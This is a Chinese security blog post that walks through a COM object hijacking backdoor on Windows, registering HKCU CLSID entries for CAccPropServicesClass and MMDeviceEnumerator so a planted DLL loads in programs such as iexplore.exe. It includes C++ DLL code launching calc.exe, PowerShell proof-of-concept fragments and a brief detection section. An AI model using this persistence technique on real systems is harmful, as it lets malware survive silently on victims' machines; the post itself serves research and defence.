COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

<u>嘶吼roartalk</u> / 2017-09-08 09:24:05 / 浏览数 3237 安全技术 技术讨论 顶(0) 踩(0)

0x00 前言

在之前的文章《Use CLR to maintain

persistence》介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。美中不足的是通过WMI添加环境变量需要重启系统。

本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限。

注:

本文介绍的方法曾被木马COMpfun使用

详细介绍地址:

https://www.qdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

0x01 简介

本文将要介绍以下内容:

- ·后门思路
- ·POC编写
- ·防御检测

0x02 COM组件

- · COM是Component Object Model (组件对象模型)的缩写
- ·COM组件由DLL和EXE形式发布的可执行代码所组成
- · COM与语言, 平台无关
- ·COM组件对应注册表中CLSID下的注册表键值

0x03 后门思路

注:

思路来自于https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

同使用CLR劫持.Net程序的方法类似,也是通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需

32位系统利用方法:

1、新建文件

在%APPDATA%\Microsoft\Installer\

{BCDE0395-E52F-467C-8E3D-C4579291692E}下放入测试dll, 重命名为api-ms-win-downlevel-[4char-random]-11-1-0._dl

注:

测试dll下载地址: https://github.com/3gstudent/test/blob/master/calc.dll

重命名为api-ms-win-downlevel-1×86-11-1-0._dl

如下图

2、修改注册表

注册表位置:HKCU\Software\Classes\CLS\ID

创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

创建子项InprocServer32

```
Default的键值为测试dll的绝对路径:
```

 $\texttt{C:} \\ \texttt{Users} \\ \texttt{AppData} \\ \texttt{Roaming} \\ \texttt{MicrosoftInstaller} \\ \texttt{BCDE0395-E52F-467C-8E3D-C4579291692E} \\ \texttt{Appi-ms-win-downlevel-1x86-l1-1-0._d1} \\ \texttt{C:} \\ \texttt{MicrosoftInstaller} \\ \texttt{AppData} \\ \texttt{Roaming} \\ \texttt{MicrosoftInstaller} \\ \texttt{Micro$

创建键值: ThreadingModel REG_SZ Apartment

注册表内容如下图

3、测试

启动iexplore.exe,触发后门,多次启动calc.exe,最终导致系统死机

启动过程多次调用实例CAccPropServicesClass(),因此导致启动多个calc.exe,最终系统死机

4、优化

可以对dll加一个互斥量,防止重复加载,只启动一次calc.exe

```
c++代码为:
```

```
#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
 )
{
switch (ul_reason_for_call)
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
```

优化方法参照: https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

编译后大小3k,如果多次加载该dll,会因为互斥量导致只加载一次,也就是说只启动一次calc.exe

编译好的dll下载地址:

 $\underline{https://github.com/3gstudent/test/blob/master/calcmutex.dll}$

换用新的dll,再次测试,只启动一次calc.exe,如下图

64位系统利用方法:

1、新建文件

在%APPDATA%\Microsoft\Installer\ {BCDE0395-E52F-467C-8E3D-C4579291692E}下分别放入32位和64位的测试dll

32位dll下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

重命名为api-ms-win-downlevel-1×86-l1-1-0._dl

64位dll下载地址:

```
https://github.com/3gstudent/test/blob/master/calcmutex_x64.dll
重命名为api-ms-win-downlevel-1×64-11-1-0._dl
2、修改注册表
(1)
注册表位置: HKCU\Software\Classes\CLSID
创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
 创建子项InprocServer32
Default的键值为64位dll的绝对路径:
{\tt C:\Wsers\a\AppData\Roaming\Microsoft\Installer\AppData\Roaming\Microsoft\Installer\AppData\Roaming\Microsoft\Noaming\Noaming\Microsoft\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\Noaming\No
  {BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1×86-11-1-0._dl
创建键值: ThreadingModel REG_SZ Apartment
注册表内容如下图
(2)
注册表位置:HKCU\Software\Classes\Wow64\32\Node\CLS\ID
创建项{BCDE0395-E52F-467C-8E3D-C4579291692E}
创建子项InprocServer32
Default的键值为32位dll路径:
 \texttt{C:\Wsers\a\AppData\Roaming\Microsoft\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E\}\api-ms-win-downlevel-1x86-l1-1-0.\_dlayers. AppData\Roaming\Microsoft\Installer\AppData\Roaming\Microsoft\Normality AppData\Roaming\Microsoft\Normality AppD
创建键值: ThreadingModel REG_SZ Apartment
注册表内容如下图
3、测试
分别启动32位和64位的iexplore.exe,均可触发后门,启动一次calc.exe
测试成功
注:
b5f8350b-0548-48b1-a6ee-88bd00b4a5e7对应CAccPropServicesClass
 参考链接:
\underline{https://msdn.microsoft.com/en-us/library/accessibility.caccpropservicesclass (v=vs.110).aspx?cs-save-lang=1\&cs-lang=cpp\#code-snippet-1.aspx?cs-save-lang=1\&cs-lang=cpp\#code-snippet-1.aspx?cs-save-lang=1\&cs-lang=cpp\#code-snippet-1.aspx?cs-save-lang=1\&cs-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp\#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx?cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-lang=cpp#code-snippet-1.aspx.cs-save-snippet-snippet-snippet-1.aspx.cs-save-snippet-snippet-snippet-snippet-snippet-snippet-s
 {BCDE0395-E52F-467C-8E3D-C4579291692E}对应MMDeviceEnumerator
 参考链接:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd316556%28v=vs.85%29.aspx
0x04 POC编写
POC开发需要注意的细节:
1、操作默认不一定包含文件夹
需要先判断文件夹%APPDATA%\Microsoft\Installer
如果没有,在%APPDATA%\Microsoft下创建文件夹Installer
 if((Test-Path %APPDATA%\Microsoft\Installer) -eq 0)
Write-Host "[+] Create Folder: $env:APPDATA\Microsoft\Installer"
new-item -path $env:APPDATA\Microsoft -name Installer -type directory
```

2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}

```
由于包含特殊字符{},需要双引号包含路径
```

```
if((Test-Path "%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
Write-Host "[+] Create Folder: $env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}"
new-item -path $env:APPDATA\Microsoft\Installer -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}
```

3、创建payload文件

```
首先判断操作系统
```

```
if ([Environment]::Is64BitOperatingSystem)
{
Write-Host "[+] OS: x64"
}
else
{
Write-Host "[+] OS: x86"
}
```

不同系统释放不同文件

释放文件依旧使用base64,可参考文章: https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/

4、创建注册表

修改注册表默认值,如下图

在powershell下,需要使用特殊变量"(default)"

eg:

\$RegPath="HKCU:\\Software\Classes\CLSID"

完整POC已上传至Github, 地址为: https://github.com/3gstudent/COM-Object-hijacking

0x05 防御检测

结合利用方法,注意监控以下位置:

1、注册表键值

```
\label{lasseslim} $$HKCU\software\classes\clsid\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}$$HKCU\software\classes\wow64\32\node\clsid\fBCDE0395-E52F-467C-8E3D-C4579291692E}$$
```

2、文件路径

 $APPDATA \\ A Coming \\ Microsoft \\ Installer \\ \{BCDE0395-E52F-467C-8E3D-C4579291692E\} \\ A Coming \\$

命名方式:api-ms-win-downlevel-[4char-random]-l1-1-0._dl

0x06 小结

本文介绍了通过COM Object

hijacking实现的后门利用方法,使用powershell脚本编写POC,分享POC开发中需要注意的细节,结合实际利用过程分析该后门的防御方法。

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